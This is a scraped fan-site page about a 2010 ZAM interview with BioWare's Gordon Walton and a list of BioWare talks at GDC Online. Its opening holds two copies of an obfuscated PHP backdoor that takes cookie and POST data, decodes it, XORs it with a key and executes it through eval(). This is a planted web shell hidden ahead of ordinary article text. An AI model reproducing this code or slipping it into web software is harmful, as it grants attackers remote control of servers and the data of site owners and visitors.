$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> ZAM Interview with Gordon Walton – Corellian Run Radio
Oct 052010
 

ZAM.com snagged an interview with BioWare’s Gordon Walton and ZeniMax Online Studios’ Matt Firor while at GDC Online in Austin, TX.  In this two-part interview Walton and Firor discuss online gaming trends.  Read part one here and part two here.

BioWare will be participating in several talks on game design.  List of sessions after the jump.

How Online Gaming Has Adopted the Grind
Damion Schubert, Principal Lead Systems Designer, BioWare Austin
Thursday, Oct. 7th, 11:00 am

“The grind” isn’t just whacking rats in men-in-tights fantasy MMOs anymore.  Like a plague, it has escaped that genre and now infects other genres, ranging from Web and Facebook games all the way to triple-A Xbox titles.  This talk will explore the grinkd, why so many designers turn to it like a crutch, and in what situations grindy gameplay may actually improve your game.

Lessons Learned Creating Team Cultures
Gordon Walton, Co-Studio Director, BioWare Austin
Thursday, Oct. 7th, 11:00 am

Every team has its own unique culture, and culture will have a material effect on the results your team produces.  Environment and context combined with how you acculturate incoming people will affect how your team culture evolves.  This roundtable is for sharing experiences in creating and shaping team cultures.

Strategies for Running an MMO From Launch and Beyond
Rich Vogel, Co-Studio Director, BioWare Austin (panel)
Friday, Oct. 8th, 9:30 am

Launching MMOs is hard enough, much less keeping them viable after their first year.  Acquisition and retention are the two most important levers that are used to keep an online game alive and viable.  This panel will discuss strategies that help move these two levers.  On the panel are people who have been running MMOs for more than five years.  What are their secrets to successfully running and maintaining these MMOs for so long?  Other panel participants: Jeffrey Steefel (Turbine, Inc), Jeff Hickman (EA Mythic), Lorin Jameson (Sony Online Entertainment), and Nathan Richardsson (CCP)

You Studied Game Design, Now What?
Kyle Garner, World Designer, BioWare Austin (panel)
Friday, Oct. 8th, 1:30 pm

A program of game design-related studies is only one piece of the the puzzle when developing a career in games.  A panel of design professors and professionals from Guildhall, Richland College, BioWare, and Madison Media Institute will discuss what students need to know during and following their education to enter the game industry.

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